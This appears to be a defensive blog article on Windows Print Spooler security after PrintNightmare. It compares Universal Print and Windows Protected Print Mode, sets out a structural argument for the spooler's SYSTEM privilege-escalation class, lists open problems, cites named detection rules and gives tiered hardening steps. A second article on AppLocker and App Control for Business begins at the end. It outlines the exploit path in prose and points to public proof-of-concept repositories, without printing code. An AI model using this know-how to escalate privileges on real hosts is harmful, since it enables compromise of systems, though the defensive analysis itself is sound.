Universal Print became generally available on March 2, 2021 [@ms-365-blog-universal-print-2212333] [@ms-universal-print-fundamentals].The exact March 2, 2021 GA date is industry knowledge anchored to Microsoft Ignite Spring 2021. The contemporaneous Microsoft 365 blog post [@ms-365-blog-universal-print-2212333] covers the wave but does not contain the verbatim date string. The Microsoft Learn fundamentals page documents the program's original ms.date of March 2, 2020 (one year before GA) [@ms-universal-print-fundamentals]. We cite both because each one supports a different facet of the same date. The service moves the print queue to Microsoft 365 / Entra ID, removes the on-premises print server entirely, and removes the need for client-side third-party drivers. An optional on-prem connector lets the cloud service drive printers that are not directly cloud-aware [@ms-universal-print-whatis].

Microsoft's cloud-hosted print service. Universal Print eliminates print servers like OneDrive eliminates file servers [@ms-universal-print-whatis]. The architectural exit it takes is breaking conjunct (a): a Universal-Print-only endpoint with the local Spooler service disabled has no `\PIPE\spoolss` exposed to a low-privilege user. Universal Print became generally available on March 2, 2021 [@ms-365-blog-universal-print-2212333] and reached GCC / GCC High in October 2023 [@ms-universal-print-government].

The architectural exit it takes is the one section 5 labelled (a): there is no \PIPE\spoolss endpoint exposed on a Universal-Print-only host. The endpoint is a Microsoft 365 service called MPSIPPService that runs at https://print.print.microsoft.com/ [@ms-universal-print-getting-started]. Authentication is Entra ID OAuth2 / OIDC [@ms-universal-print-getting-started]. The threat model it removes is the local SMB-reachable low-privilege caller; the threat model it introduces is the cloud-account compromise.

7.2 The Cost of Universal Print

Universal Print is not free. It requires a Microsoft 365 / Entra ID license that includes the Universal Print entitlement. It requires network connectivity to print (the optional on-prem connector mitigates this for cached jobs; pure offline printing without the connector is not supported) [@ms-universal-print-getting-started]. It is per-user / per-printer in cost. The compatibility envelope is the IPP class driver plus the connector's translation surface; vendor-specific drivers are not part of the cloud service.

Universal Print is available in commercial Microsoft 365 tenants and, as of October 2, 2023, in the GCC and GCC High government clouds. The fundamentals page records "Universal Print is FedRamp certified by Office 365 and is now available in GCC, GCC High, and DoD environments" [@ms-universal-print-government].

The threat model Universal Print does not cover: an attacker who can reach Microsoft 365 / Entra ID tokens has cloud-side access, not local-spooler access. The PrintNightmare-class attack is moved off the endpoint; a different attack class (cloud-token compromise, mailbox compromise, OAuth phishing) takes its place. Universal Print does not, on its own, harden the surface; it relocates the surface to a cloud the customer outsources.

7.3 Head-to-Head

The trade-offs are easiest to compare in scannable form:

Aspect	Universal Print	Windows Protected Print Mode
Architectural exit	Breaks conjunct (a): no local pipe spoolss	Breaks (b) and partially (c): no third-party drivers, Spooler Worker below SYSTEM IL
Deployment model	Cloud-hosted M365 service; optional on-prem connector	Local Windows feature, GPO / Intune toggle
Driver requirement	None on client; connector translates server-side	Microsoft IPP class driver or Microsoft-signed driver; Print Support Apps as transitional
Offline support	None native; on-prem connector required	Yes (local printing continues)
License requirement	M365 / Entra ID with Universal Print entitlement	None beyond Windows 11 24H2
Threat model covered	Removes the architectural primitive from the local host	Removes third-party-driver and SYSTEM-context surfaces
Threat model NOT covered	Cloud-side token / account compromise	The RPC entry point still exists; specialty printers still require legacy stack
Default state in 2026	Opt-in (license-gated)	Opt-in (Group Policy off by default)

7.4 The Composition Pattern

WPP and Universal Print can run on the same client. A managed enterprise endpoint can use Universal Print for its enrolled shared printers (cloud-mediated) and WPP for its locally-discovered printers (driverless local stack). Microsoft's documented stance is that this composition is the long-term direction. The WPP FAQ's "at a future date" language about default-on [@ms-wpp-faq] and the third-party-driver end-of-servicing milestones [@ms-end-of-servicing] together sketch a 2027-and-after world: WPP locally, Universal Print for cloud-enrolled printers, legacy stack restricted to specialty hosts that explicitly opt out.

A complete migration to Universal Print would force every Windows user to require Microsoft 365 entitlements and continuous network connectivity to print. That is a price Microsoft has not been willing to ask the global Windows install base to pay. WPP is the answer for endpoints that print locally; Universal Print is the answer for endpoints that print to enrolled shared printers; the parallel-stack architecture is the answer to the union. As of June 2026, no Microsoft document announces a date at which the local stack will be removed.

The composed architecture in one picture:

flowchart LR subgraph EP["Managed Windows endpoint"] APP["User application"] WIN["winspool.drv"] SPL["spoolsv.exe"] WORKER["Spooler Worker
restricted token"] UPCLI["Universal Print client"] end subgraph CLD["Microsoft 365 cloud"] UPSVC["Universal Print service
MPSIPPService"] CONN["Optional on-prem connector"] end subgraph LOC["Locally discovered printers"] IPP["Mopria / IPP printer"] SPEC["Specialty printer
(opt-out path)"] end APP --> WIN WIN --> SPL SPL --> WORKER WORKER --> IPP SPL -. opt-out .-> SPEC APP --> UPCLI UPCLI --> UPSVC UPSVC --> CONN CONN --> IPP

Two answers, deliberately. We promised in section 1 that we would not tell you which one to deploy. We are keeping that promise. The next section is about why no third answer covers the gap.

8. Theoretical Limits: The Architectural Impossibility Argument

We can state the architectural-impossibility claim formally now. It is bounded, it has been bounded for fifteen years on this artifact, and it is sharp enough to act on.

8.1 The Three-Conjunct Primitive

Any local service that simultaneously satisfies three conditions exposes a SYSTEM code-execution primitive by construction:

(a) accepts low-privilege RPC,
(b) loads caller-influenced third-party DLLs as part of those requests, and
(c) runs at SYSTEM context.

The primitive is independent of any particular implementation bug. Particular implementation bugs are how the primitive is exercised. The primitive itself is what makes those bugs exploitable.

Key idea: Any local service that simultaneously accepts low-privilege RPC, loads caller-influenced DLLs, and runs at SYSTEM context exposes a SYSTEM code-execution primitive by construction. No patch on individual entry points can close the class. The class is closed only by breaking one of the three conjuncts.

The argument is not an empirical generalization. It is a structural one. Given (a), (b), and (c), the attacker's path to SYSTEM-execution is a finite search problem: enumerate the entry points that load DLLs, find one whose DLL-load arguments the attacker can steer, supply an attacker-supplied DLL. The defender's only options are to remove one of the conjuncts. Patching individual entry points moves the search problem; it does not eliminate it. The 2021-2024 patch cascade is the empirical record of that move-but-not-eliminate dynamic.

8.2 The Three Exits

Each shipped architectural approach breaks exactly one conjunct.

Break (c), the SYSTEM context. PrintIsolationHost.exe shipped in 2009 as a partial answer: drivers can run in a sibling process, but that sibling process is itself LocalSystem by default [@ms-printer-driver-isolation]. WPP's Spooler Worker (2024) is more complete: a restricted token, below SYSTEM integrity level, for the bulk of per-user spooler operations [@ms-wpp-more-info].

Break (b), the caller-influenced DLL load. WPP module blocking (2024) refuses to load anything except Microsoft-signed binaries required for IPP [@ms-wpp-more-info]. The conjunct is no longer "loads caller-influenced DLLs"; it is "loads only Microsoft-signed DLLs the OS shipped."

Break (a), the low-privilege RPC entry. Universal Print (2021) removes the local \PIPE\spoolss endpoint from the endpoint's surface [@ms-universal-print-whatis]. The CERT/CC 2021 mitigation -- stop and disable the Spooler service -- is the same architectural exit with larger collateral damage (no local printing at all) [@cert-vu-383432].

8.3 What No Exit Covers

The intersection of constraints that no shipped exit covers: specialty printers that require v3 or v4 drivers, on a host that needs offline printing, on a non-managed endpoint, in an environment that cannot adopt cloud printing. Industrial label printers, secure check printers, and healthcare imaging devices are the canonical examples [@ezeep-label-printers-wpp]. This intersection is the empirical gap that justifies the parallel-stack answer in 2026 and the absence of a default-on commitment for WPP [@ms-wpp-faq].

8.4 The Argument as a Lower Bound

The three-conjunct argument is a lower bound on bug class, not a security analysis. It says the architectural primitive cannot be made safe without breaking one of the conjuncts. It does not say that a specific implementation of an exit is itself secure. WPP could ship a bug. The Microsoft-signed module loader could have a parser vulnerability. The Spooler Worker process could be coerced into elevation through some intermediate IPC channel; that channel is itself a research question we return to in section 9.4. The architectural argument bounds what kind of bugs are still possible. It does not promise that no bugs will be.

The "service that loads caller-influenced code in a privileged context produces a privilege-escalation primitive by construction" pattern predates Windows. The capability-systems literature of the 1970s -- Hydra, KeyKOS, and the related work that gave us Mandatory Integrity Control as a Windows feature decades later -- worked through the same argument in different language. Confused-deputy attacks (the Hardy formulation) are exactly the case where a privileged process performs an operation on behalf of a less-privileged caller and the operation cashes out at the privileged process's authority. PrintNightmare is a confused-deputy primitive on `spoolsv.exe`. The architectural exits in section 5 are confused-deputy mitigations: revoke the deputy's authority (Universal Print breaks delegation entirely), confine what the deputy is willing to do (WPP module blocking), or split the deputy into a privileged broker and an unprivileged worker (WPP Spooler Worker).

Fifteen years of Print Spooler CVEs have produced a single argument with three corollaries. It is not new. It is not Microsoft's. It has been latent in the academic literature on capability systems since the 1970s. What is new in 2024 is that it shipped, in two flavors, on consumer Windows.

9. Open Problems

Three years after Microsoft shipped the architectural answer, the Print Spooler security story is not complete. We end with five open problems, presented without recommendation.

9.1 WPP Adoption Velocity Through the Opt-In Tail

No default-on commitment exists. The WPP FAQ uses the verbatim phrase "at a future date" for the default-on flip [@ms-wpp-faq]. As of June 2026, opt-in adoption is reported only anecdotally; Microsoft has not published telemetry. The three published deprecation milestones are real and dated -- January 15, 2026 (no new third-party drivers via Windows Update), July 1, 2026 (Windows IPP class driver preferred over third-party drivers for new printer installs), July 1, 2027 (third-party servicing ends except for security fixes) [@ms-end-of-servicing] -- but they do not equal "WPP is on by default."

The Lexmark vendor primary on the WPP transition spells out the operational reading from the printer-OEM perspective: "WPP is disabled by default until 2027... January 2026: no new third-party drivers published via Windows Update; July 2026: Windows defaults to IPP Class Driver when adding devices; July 2027: no updates for third-party drivers except security fixes" [@lexmark-wpp-support]. The OEMs are reading the milestones as a 2027 horizon for the default-on flip. Microsoft has not, in writing, confirmed that reading.

A negative-search finding sharpens the gap. The trade press that tracks Microsoft security launches (BleepingComputer's unveil coverage [@bleepingcomputer-wpp-unveil] and its dedicated WPP tag page [@bleepingcomputer-tag-wpp], BornCity's April 2026 Patch Tuesday print-issues report [@borncity-april-2026-patchday]), the Microsoft Tech Community discussion threads (the 2024 WPP intro discussion [@techcommunity-discuss-msec-print-4008206] and the Ignite 2024 Windows-security companion [@techcommunity-discuss-ignite-2024-4304464]), analyst output (the MPSA member eBook [@mpsa-wpp-ebook], Quocirca's vendor-published commentary [@computerweekly-quocirca-wpp]) -- none of these surface a quantitative WPP adoption number. Microsoft has not published telemetry, third-party analysts have not estimated it, and OEM disclosures cover hardware compatibility, not enterprise enablement rates. The gap is not a measurement difficulty; it is an absence in the public record.

9.2 The Specialty-Printer Gap

v3 / v4 driver printers without IPP-class compatibility still exist in production. Industrial label printers, healthcare imaging printers, secure check printers, line-printer holdouts. The honest answer is that these endpoints cannot adopt WPP and cannot adopt Universal Print and they will continue to run a legacy spooler. The defense for them is segmentation, not patching.

Print Support Apps help bridge some categories. The PSA design guide is the canonical specification [@ms-print-support-app-design-guide]. A walk through the Microsoft Store [@apps-microsoft-store-root] surfaces a sampled (not exhaustive) roster of vendor PSAs available as of June 2026: Brother's PSA was one of the first to ship [@brother-print-support-app] [@brother-support-page]; Canon Print Assistant covers Canon's IPP-everywhere subset [@canon-print-assistant-psa]; HP Smart bridges HP's IPP-everywhere set [@hp-smart-psa]; Konica Minolta's bizhub PSA covers the bizhub series [@konica-bizhub-psa]; Xerox and Lexmark co-publish a joint PSA [@xerox-lexmark-psa] [@lexmark-wpp-support]. The cloud-print intermediaries ezeep document the operational reality for the categories the PSA model does not cover: industrial label printers (Zebra, Honeywell, SATO, TSC, Dymo) speaking ZPL / EPL are absent from the Mopria-certified IPP-everywhere catalogue and from the Microsoft-Store PSA roster as of June 2026 [@ezeep-label-printers-wpp]. For those vendors the operational guidance is to keep WPP disabled on the affected workstations and to segment them off the production network.

9.3 CVE-2024-38198: Attribution and PoC Gap

No public researcher is named in any primary source for CVE-2024-38198. No public PoC exists [@wiz-cve-2024-38198] [@rapid7-cve-2024-38198]. The bug was found, patched, and remained unattributed. This is not necessarily a problem -- silent fixes are normal in vendor patch flow -- but it is a data point: the bug class is still being mined three years after the disclosure event, and the public-research apparatus has not surfaced the next finding.

Note: CVE-2024-38198, patched on August 13, 2024, has no public researcher attribution and no public PoC as of June 2026 [@wiz-cve-2024-38198] [@rapid7-cve-2024-38198]. It is the most recent named Print Spooler EoP in the public record. Its existence is the empirical proof point that the legacy spooler is still producing novel CWE-class bugs three years after PrintNightmare.

9.4 The spoolsv-to-Spooler-Worker IPC Primitive

WPP's per-user worker model introduces an IPC channel between the parent spoolsv.exe service and the Spooler Worker process [@ms-wpp-more-info]. Microsoft documents the worker's restricted token in detail (see the verbatim quote in section 6.1: "no longer runs at SYSTEM IL" [@ms-wpp-more-info] [@ms-wpp-more-info-wayback]) but does not, in public, document the IPC primitive itself. The absence is the load-bearing finding.

The Windows kernel offers at least four plausible IPC mechanisms that a service like the spooler could use to dispatch work to a per-user worker: an Advanced Local Procedure Call (ALPC) port, a named pipe (the same family \PIPE\spoolss is from), a COM activation under RPC, or a shared-memory section with notification. Each has a different attack surface. ALPC ports are not directly named in the filesystem but are reachable through documented APIs; named pipes inherit the SMB and named-pipe-anonymous policy plane [@ms-named-pipes-anonymous] [@ms-restrict-anonymous-named-pipes]; COM-RPC inherits the COM permission DACL surface; shared-memory sections inherit the section-object DACL surface. Per-user services in Windows (the per-user-services framework Microsoft introduced in 1709) typically use ALPC or named pipes for parent / worker dispatch [@ms-per-user-services]. Which mechanism WPP uses, and what authentication the parent demands of the worker (and vice versa), is the specific research question. As of June 2026 it is unanswered in the public record.

If that channel is itself coercible (TOCTOU on the IPC, redirection-style attacks on a worker named pipe), WPP may exhibit a SpoolFool-class bug at a different layer. Redirection Guard partially answers the obvious junction-following attack on the worker [@msrc-redirectionguard-blog] [@ms-redirection-trust-policy], but the worker has other IPC handles, and the worker's restricted token still has authority over operations the parent has delegated to it. No public research has surfaced an IPC-channel exploit as of June 2026. The research surface here is real and only loosely mapped.

9.5 Detection Signal Coverage for the Post-WPP Era

SigmaHQ, Splunk Security Content, Elastic, and Microsoft Defender XDR all ship rules for the PrintNightmare-era event signatures. SigmaHQ's PrintNightmare rule pack covers the PoC DLL load pattern (win_exploit_cve_2021_1675_printspooler.yml, rule ID 4e64668a-4da1-49f5-a8df-9e2d5b866718) [@sigma-cve-2021-1675-win-spooler]. The Zeek-on-the-wire DCE-RPC rule (ID 7b33baef-2a75-4ca3-9da4-34f9a15382d8) watches both MS-RPRN's RpcAddPrinterDriverEx and MS-PAR's RpcAsyncAddPrinterDriver [@sigma-cve-2021-1675-zeek]. Splunk's research-team detection on Microsoft-Windows-PrintService/Admin event code 316 (driver-add) carries the rule ID 313681a2-da8e-11eb-adad-acde48001122 and maps to MITRE ATT&CK technique T1547.012 (Print Processors) [@splunk-research-printnightmare-driver] [@splunk-printnightmare-story] [@attack-mitre-t1547-012]. Splunk's spoolsv.exe-focused rule pack adds: plug-in loading failure detection (1adc9548-da7c-11eb-8f13-acde48001122, PrintService Admin Event 808 and security log Event 4909) [@splunk-research-spoolsv-plugin-fail]; Sysmon Event ID 11 spool-folder DLL writes (347fd388-da87-11eb-836d-acde48001122) [@splunk-research-spoolsv-dll-sysmon]; Sysmon Event ID 7 loaded-modules signal on spoolsv.exe (a5e451f8-da81-11eb-b245-acde48001122) [@splunk-research-spoolsv-loaded-modules]; Sysmon Event ID 10 process-access signal on spoolsv.exe (799b606e-da81-11eb-93f8-acde48001122) [@splunk-research-spoolsv-process-access]. Elastic's prebuilt rule "Unusual Print Spooler Child Process" catches the post-exploit child-process spawn pattern (risk score 47) [@elastic-unusual-printspooler-child]. Azure Sentinel's KQL hunting query for PrintNightmare watches file creations in the print-spooler drivers folder (C:\WINDOWS\SYSTEM32\SPOOL\drivers) [@azure-sentinel-printnightmare-yaml].

Coverage for the WPP era is sparser, and the gap has a specific shape: because WPP has no in-product audit mode -- the ConfigureWindowsProtectedPrint CSP is the binary two-state setting documented in section 6.4 [@ms-policy-csp-printers] [@tenable-cis-w11-l2] -- pre-enforcement detection has to be synthesized from the existing PrintService Admin and Sysmon event signals (Event 316 driver-adds, 808 / 4909 plug-in failures, Sysmon 7 / 10 / 11 on spoolsv.exe) plus SCM service-state events (System log Event ID 7036 records spooler service start / stop transitions). Redirection Guard mitigation events appear in Microsoft-Windows-Security-Mitigations/Operational [@msrc-redirectionguard-blog]. IPC-related signals on the Spooler Worker do not have public detection content as of June 2026. The audit-without-audit-mode pattern is well understood by detection engineers running PrintNightmare content already; the synthesis work to compose it into a WPP rollout-ring playbook is the gap detection content vendors have not yet closed.

Five open problems. None of them are emergencies. All of them are reasons that a 2026 security program for Print Spooler is still a security program for Print Spooler, not an absence.

10. Practical Guide: What a Defender Does in 2026

We end with what a Windows administrator with print infrastructure should actually do in 2026. Four tiers, each with its own action list, none of them long.

10.1 Tier 1: Managed Enterprise with Cloud Workflows

For organizations already on Microsoft 365 with Entra-joined endpoints and cloud-friendly printers:

Adopt Universal Print for shared printers [@ms-universal-print-whatis] [@ms-universal-print-getting-started].
Adopt WPP on a pilot ring of managed endpoints (ConfigureWindowsProtectedPrint = 1); WPP has no in-product audit mode, so the deployment pattern is rings, not audit-then-enforce [@ms-wpp-enterprises] [@ms-policy-csp-printers] [@tenable-cis-w11-l2].
Verify Redirection Guard is enabled on spoolsv.exe [@ms-set-processmitigation] [@ms-redirection-trust-policy].
Verify the September 2021 default Point-and-Print policy is in force: RestrictDriverInstallationToAdministrators=1 [@kb-5005652-topic].

10.2 Tier 2: Managed Enterprise Without Cloud Workflows

For organizations with on-prem print infrastructure and no Universal Print appetite:

Deploy WPP to a pilot ring of managed endpoints (ConfigureWindowsProtectedPrint = 1) and watch Microsoft-Windows-PrintService/Admin for 30 or more days [@ms-wpp-enterprises] [@ms-policy-csp-printers] [@tenable-cis-server-2025-l2].
After the pilot, expand the ring to the subset of endpoints whose printers are Mopria-certified [@mopria-certified-products].
For non-Mopria printers, segment to dedicated print VLANs and enforce the September 2021 admin-only default [@kb-5005652-topic].
Verify Redirection Guard on spoolsv.exe on all spooler-bearing hosts [@msrc-redirectionguard-blog].

10.3 Tier 3: Specialty, Industrial, Regulated

For organizations whose print fleet includes specialty hardware (label printers, secure check printers, healthcare imaging):

Segment Spooler-bearing endpoints onto dedicated VLANs with restricted inbound RPC reachability [@ms-windows-firewall-overview].
Where possible, enforce the CERT/CC 2021 guidance on domain controllers (Spooler disabled); CISA's required actions for the same hosts now flow through BOD 22-01 KEV remediation after the January 2026 closure of ED 21-04, but the DC-disabled baseline is unchanged [@cert-vu-383432] [@cisa-ed-21-04].
Apply the September 2021 admin-only Point and Print default on every host [@kb-5005652-topic].
Subscribe to MSRC notifications for the affected SKUs [@msrc-cve-2021-34527].
Plan a multi-year IPP / PSA migration path; track vendor PSA availability [@brother-print-support-app] [@canon-print-assistant-psa] [@hp-smart-psa] [@konica-bizhub-psa] [@xerox-lexmark-psa] [@lexmark-wpp-support] [@ms-print-support-app-design-guide].

10.4 Tier 4: Print Server or Domain Controller Specifically

For hosts that are themselves print servers or domain controllers:

Spooler off where possible. CERT/CC's 2021 guidance remains in force; CISA closed ED 21-04 in January 2026 and folded its requirements into BOD 22-01 (KEV-catalog remediation), but the practical effect on a domain controller is unchanged [@cert-vu-383432] [@cisa-ed-21-04]. SCM service state-changes appear in the System event log under Event ID 7036 (service start / stop transitions); alert on unexpected Print Spooler Event 7036 entries on hosts where the service should remain stopped.
Where Spooler-off is impossible, isolate the host, restrict \PIPE\spoolss exposure at the firewall, and harden the named-pipe-anonymous policies (RestrictNullSessAccess = 1; spoolss absent from NullSessionPipes) [@ms-restrict-anonymous-named-pipes] [@ms-named-pipes-anonymous] [@ms-ad-firewall-ports].
Log MS-RPRN and MS-PAR calls; alert on RpcAddPrinterDriverEx and RpcAsyncAddPrinterDriver invocations from non-administrator SIDs [@sigma-cve-2021-1675-zeek]. The canonical event-log signals to instrument are: PrintService Admin Event ID 316 (driver-add) [@splunk-research-printnightmare-driver]; PrintService Admin Event ID 808 (spooler plug-in load failure) paired with security log Event ID 4909 [@splunk-research-spoolsv-plugin-fail]; Sysmon Event ID 7 (loaded modules on spoolsv.exe) [@splunk-research-spoolsv-loaded-modules]; Sysmon Event ID 10 (process access on spoolsv.exe) [@splunk-research-spoolsv-process-access]; Sysmon Event ID 11 (spool-folder DLL writes under C:\WINDOWS\SYSTEM32\SPOOL\drivers) [@splunk-research-spoolsv-dll-sysmon] [@azure-sentinel-printnightmare-yaml].
Confirm Redirection Guard is enabled on spoolsv.exe and watch Microsoft-Windows-Security-Mitigations/Operational for mitigation events [@msrc-redirectionguard-blog].

Note: CISA Emergency Directive 21-04, issued July 13, 2021, mandated that federal civilian agencies stop and disable the Print Spooler service on Active Directory domain controllers [@cisa-ed-21-04]. CISA closed ED 21-04 in January 2026 and transitioned its required actions to BOD 22-01 (Reducing the Significant Risk of Known Exploited Vulnerabilities). The compliance vehicle changed; the operational outcome did not. Agencies that have not adopted Universal Print on their DC infrastructure should still keep Spooler stopped and disabled on every DC.

For detection engineers, the named-rule packs to start from are: SigmaHQ `4e64668a-4da1-49f5-a8df-9e2d5b866718` (PrintService Admin Event 808 PoC DLL-load failure) [@sigma-cve-2021-1675-win-spooler]; SigmaHQ `7b33baef-2a75-4ca3-9da4-34f9a15382d8` (Zeek DCE-RPC wire-level driver install) [@sigma-cve-2021-1675-zeek]; Splunk story `fd79470a-da88-11eb-b803-acde48001122` (PrintNightmare analytic story, production status) [@splunk-printnightmare-story]; Splunk research `313681a2-da8e-11eb-adad-acde48001122` (PrintService Admin Event Code 316 driver-add) [@splunk-research-printnightmare-driver]; Elastic prebuilt rule "Unusual Print Spooler Child Process" (EQL, risk 47) [@elastic-unusual-printspooler-child]; Azure Sentinel hunting query `8f404352-c4ff-44d1-8d70-c50ee2fad8f8` (DeviceFileEvents in spool drivers folder) [@azure-sentinel-printnightmare-yaml]. Jacob Baines's DEF CON 29 "Bring Your Own Print Driver Vulnerability" [@defcon-29-baines-pdf] and the companion `concealed_position` repository [@baines-concealed-position] are the canonical reference for the BYOV attack class, which detection rule packs for installed-driver behavior also need to model.

The unifying pattern across the tiers: enforce the September 2021 default, enable Redirection Guard, audit WPP on the way to enforcement, and segment what cannot be migrated. The architectural answer to PrintNightmare exists. The operational answer is to use it.

11. Frequently Asked Questions

No. The press attached the name to a sequence. CVE-2021-1675 (June 8, 2021) was originally classed as a local EoP, then silently reclassified to RCE on June 21 [@nvd-cve-2021-1675] [@bleepingcomputer-domain-takeover]. CVE-2021-34527 (July 1, 2021) was the separate-bulletin out-of-band assignment for the RCE primitive Sangfor's PoC actually exploited [@nvd-cve-2021-34527] [@cert-vu-383432]. CVE-2021-34481 (July 15, 2021) was a related local EoP fixed in KB5005652 [@nvd-cve-2021-34481] [@kb-5005652-topic]. CVE-2021-36958 (September 14, 2021) was the next-cycle Print Spooler RCE [@nvd-cve-2021-36958]. Several adjacent bugs (CVE-2022-21999 SpoolFool, CVE-2024-38198) are often called "PrintNightmare-class" without being assigned the name themselves [@nvd-cve-2022-21999] [@wiz-cve-2024-38198]. The proof-of-concept that triggered the disclosure event on June 29, 2021 was written by Zhiniang Peng, Xuefeng Li, and Lewis Lee at Sangfor Technology for their Black Hat USA 2021 briefing "Diving Into Spooler" [@infocondb-bh2021-sangfor] [@afwu-wayback-snapshot]. They published it briefly believing the bug had been patched on June 8; the patch turned out to cover only the synchronous MS-RPRN entry point [@nvd-cve-2021-1675]. A second variant against the asynchronous MS-PAR `RpcAsyncAddPrinterDriver` was published shortly after by the researcher `@cube0x0` [@cube0x0-cve-2021-1675] [@cert-vu-383432]. The CERT/CC disclosure-norms advisory VU#383432 was a separate document by Will Dormann about the disclosure failure itself, not the bug [@cert-vu-383432]. No. SpoolFool (CVE-2022-21999, disclosed February 8, 2022 by Oliver Lyak / `@ly4k_` of SafeBreach Labs) is a Print Spooler local privilege escalation that abuses the printer `SpoolDirectory` registry value and NTFS reparse points, classified as CWE-59 (Link Following) [@nvd-cve-2022-21999] [@ly4k-spoolfool]. Win32k is the GUI subsystem and is uninvolved. The researcher handle is `@ly4k_` with a trailing underscore; `@jonas_lyk` is a distinct researcher. No, and it is not from March 2024 either. CVE-2024-38198 (August 13, 2024 Patch Tuesday) is a Print Spooler Elevation of Privilege Vulnerability classified as CWE-345 Insufficient Verification of Data Authenticity [@wiz-cve-2024-38198] [@rapid7-cve-2024-38198]. Exploitation requires winning a race, but the CWE is 345, not 362, and Microsoft did not name Point and Print as the affected component. CVSS v3.1 base 7.5 (`AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`) [@wiz-cve-2024-38198]. No public PoC and no public researcher attribution exist as of June 2026. Because the third-party printer-driver install base assumes drivers are loaded into a LocalSystem-context process. Sandboxing the spooler would break compatibility with the v3 and v4 driver model that the entire pre-2024 printer install base ships against [@ms-printer-driver-isolation] [@ms-print-spooler-architecture]. Microsoft's chosen architectural exits (Windows Protected Print Mode and Universal Print) sidestep the constraint by either restricting which DLLs the spooler will load (WPP module blocking plus the lower-privilege Spooler Worker) or removing the local spooler from the workflow entirely (Universal Print) [@ms-wpp-more-info] [@ms-wpp-canonical] [@ms-universal-print-whatis]. For endpoints that print only through Universal Print and where the local Spooler service is disabled, yes. The `\PIPE\spoolss` RPC entry point is not exposed and the architectural primitive is broken [@ms-universal-print-whatis] [@ms-universal-print-getting-started]. Most enterprise deployments are mixed (Universal Print for some workflows, local Spooler for others), in which case the PrintNightmare risk surface is reduced but not eliminated. Universal Print does not automatically disable the local Spooler. We can find no record of one. The Sangfor "Diving Into Spooler" talk on August 4, 2021 at Black Hat USA 2021 is the canonical primary-source talk for the technique [@infocondb-bh2021-sangfor]. Jacob Baines's DEF CON 29 (August 2021) talk "Bring Your Own Print Driver Vulnerability" is a related contemporary talk worth citing if you have heard the Giakouminakis attribution and are trying to track down its source [@defcon-29-baines-pdf] [@baines-concealed-position]. The Sangfor Black Hat USA 2021 session record (presenters, time, abstract) is preserved on InfoconDB at `infocondb.org/con/black-hat/black-hat-usa-2021/diving-into-spooler-discovering-lpe-and-rce-vulnerabilities-in-windows-printer` [@infocondb-bh2021-sangfor]. Jacob Baines's DEF CON 29 slides are mirrored at `media.defcon.org/DEF CON 29/DEF CON 29 presentations/Jacob Baines - Bring Your Own Print Driver Vulnerability.pdf` [@defcon-29-baines-pdf], and the companion `concealed_position` GitHub repository documents the four-CVE driver exploit set (ACIDDAMAGE / RADIANTDAMAGE / POISONDAMAGE / SLASHINGDAMAGE) [@baines-concealed-position].

AppLocker vs App Control for Business: Two Locks on the Same Door, and Why Windows Still Ships Both in 2026

noreply@paragmali.com (Parag Mali) — Mon, 01 Jun 2026 00:00:00 GMT

Windows ships two application-control systems in parallel in 2026: **AppLocker**, a per-user policy evaluator that lives in the user-mode Application Identity service, and **App Control for Business** (still widely called WDAC), a kernel policy evaluator built into `ci.dll`. Microsoft itself states that AppLocker *"doesn't meet the servicing criteria for being a security feature"* while App Control was *designed* as one under the MSRC servicing criteria. That single sentence explains why both still ship. AppLocker handles per-user policy on devices that have no code-signing PKI. App Control, with a signed policy and HVCI on, is the only configuration that survives an admin-equivalent attacker. This article walks the architecture of each, the structural ceilings of both, the role of ISG and the Recommended Block Rules, and the five-question decision tree for picking between them in 2026.

1. Two Locks on the Same Door

Sit down on a Windows 11 24H2 device in 2026. Open gpedit.msc. Navigate to Computer Configuration -> Windows Settings -> Security Settings, and you will find a node called AppLocker, with five rule collections waiting to be populated. Now walk one branch over to Computer Configuration -> Administrative Templates -> System -> Device Guard. That node, despite the obsolete name in the GPO tree, is where you author policy for what Microsoft now calls App Control for Business [@ms-appcontrol-applocker-overview] -- the same kernel-enforced application-control engine that has been renamed twice since launch (Configurable Code Integrity in 2015, Windows Defender Application Control in 2017, App Control for Business in 2024) [@ms-blog-introducing-wdac-2017] but never replaced.

Two completely separate policy nodes. Two completely separate deployment surfaces. Two completely separate enforcement architectures. Both shipping in the same SKU on the same device in 2026. Both documented as currently supported on Microsoft Learn [@ms-appcontrol-applocker-overview]. Which one is "the right one"? The honest answer turns out to be neither, and both, and the reason is a single sentence on a single Microsoft Learn page that draws a line between security feature and operational hygiene control sharper than most practitioners realise.

A policy mechanism that decides, at process-launch or image-load time, whether a given binary, script, or installer is allowed to execute on a Windows device. An application-control policy is an enumerated set of allow rules (an allowlist), deny rules (a blocklist), or both. The decision is made by an OS-resident evaluator before the binary's main entry point runs.

Microsoft's own App Control and AppLocker Overview page makes the line explicit. AppLocker [@ms-appcontrol-applocker-overview], in Microsoft's own words, "helps to prevent end-users from running unapproved software on their computers but doesn't meet the servicing criteria for being a security feature." App Control for Business, in contrast, was "designed as a security feature under the servicing criteria, defined by the Microsoft Security Response Center" [@ms-appcontrol-applocker-overview]. The MSRC servicing criteria are not marketing copy. They are the rule that decides whether a defect in a Windows feature gets a CVE [@msrc-servicing-criteria]. AppLocker bypasses do not get CVEs. App Control bypasses, with the right configuration, do.

flowchart LR Root["Computer Configuration"] Sec["Windows Settings"] Adm["Administrative Templates"] SecSet["Security Settings"] Sys["System"] AL["AppLocker node
(user-mode AppIDSvc)"] DG["Device Guard node
(kernel ci.dll / App Control for Business)"] Root --> Sec Root --> Adm Sec --> SecSet SecSet --> AL Adm --> Sys Sys --> DG

The rest of this article pays off that one sentence. The first half walks the architecture of each system at the level of who evaluates what, where in the operating system, and against which attacker. The second half makes the practitioner decision tractable: which one to deploy in 2026, what to pair it with, and what no allowlist of any generation can do.

Key idea: AppLocker and App Control for Business are not two generations of the same product. They are two different products solving two different problems. AppLocker is an operational hygiene control whose enforcement Microsoft itself disclaims as a security boundary. App Control for Business, when its policy is signed by the deploying organisation and HVCI is on, is the security boundary. Both still ship because neither is a strict superset of the other.

If both are shipping and both are recommended in different Microsoft Learn pages, what exactly does each one do? And why is the line between them drawn in Microsoft's servicing criteria rather than in its feature inventory? To answer that, we have to start before either product existed.

2. Pre-History -- Why an OS Needs Application Control at All

